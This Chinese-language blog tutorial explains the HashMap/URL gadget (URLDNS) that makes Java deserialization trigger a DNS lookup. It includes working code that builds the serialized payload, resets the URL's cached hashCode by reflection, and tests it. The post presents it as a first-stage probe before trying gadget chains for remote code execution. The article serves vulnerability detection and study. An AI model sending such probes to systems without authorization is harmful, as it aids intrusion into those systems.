天天看點

通過 HashMap 觸發 DNS 檢測 Java 反序列化漏洞

通過 HashMap 觸發 DNS 檢測 Java 反序列化漏洞

我們常說的反序列化漏洞一般是指 readObject() 方法處觸發的漏洞,而除此以外針對不同的序列化格式又會産生不同的出發點,比如說 fastjson 會自動運作 setter,getter 方法。之後又有各種 RMI,JNDI 姿勢去執行指令。現在常見的黑盒檢測 Java 反序列化方式就是執行指令 API,比如用一個 gadget 去執行 nslookup xxx 最終通過伺服器記錄去判斷。

但這種方式可能出現的一種問題是,你選擇測試的 gadget 伺服器正好沒這個 jar 包或者更新過了,但卻有另一個存在漏洞的 jar 包。這時候單一的 gadget構造出的執行指令 payload 就會漏報。是以為了解決這種問題這裡分享一個通過 HashMap 結合 URL 觸發 DNS 檢查的思路。在實際過程中可以首先通過這個去判斷伺服器是否使用了 readObject() 以及能否執行。之後再用各種 gadget 去嘗試試 RCE。

HashMap readObject & URLStreamHandler hashCode

HashMap 最早出現在 JDK 1.2 中,底層基于雜湊演算法實作。而正是因為在 HashMap 中,Entry 的存放位置是根據 Key 的 Hash 值來計算,然後存放到數組中的。是以對于同一個 Key,在不同的 JVM 實作中計算得出的 Hash 值可能是不同的。是以,HashMap 實作了自己的 writeObject 和 readObject 方法。

因為是研究反序列化問題,是以我們來看一下它的 readObject 方法。

通過 HashMap 觸發 DNS 檢測 Java 反序列化漏洞

前面主要是使用的一些防止資料不一緻的方法,我們可以忽視。主要看 putVal 時候 key 進入了 hash 方法,跟進看。

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}           

複制

這裡直接調用了 key 的 hashCode 方法。那麼我們現在就需要一個類 hashCode 可以執行某些東西即可。

很幸運的我們發現了 URL 類,它有一個有趣的特點,就是當執行 hashCode 方法時會觸發目前 URLStreamHandler 的 hashCode 方法。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}           

複制

我們可以繼續跟進。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}           

複制

主要就是這句代碼了。

InetAddress addr = getHostAddress(u);           

複制

通過 HashMap 觸發 DNS 檢測 Java 反序列化漏洞

很簡單,就是這裡最後觸發了 DNS 查詢。

也就是說我們現在思路是通過 hashmap 放入一個 URL 的 key 然後會觸發 DNS 查詢。這裡需要注意一個點,就是在 URLStreamHandler 的 hashCode 方法中首先進行了一個緩存判斷即如果不等于 -1 會直接 return。

if (hashCode != -1)
    return hashCode;           

複制

因為在生成 hashMap put 時候會調用到 hashCode 方法,是以會緩存下來,即 hashcode 不為 -1。是以為了讓被接收者觸發 DNS 查詢,我們需要先通過反射把 hashcode 值改為 -1,繞過緩存判斷。

Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);           

複制

最後生成的代碼為:

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
String url="https://www.xttblog.com";
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
oos.writeObject(hashMap);
oos.flush();
oos.close();           

複制

測試代碼:

ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj"));
ois.readObject();           

複制

調用棧:

通過 HashMap 觸發 DNS 檢測 Java 反序列化漏洞

最終你會發現成功的觸發 DNS 查詢。

參考:https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/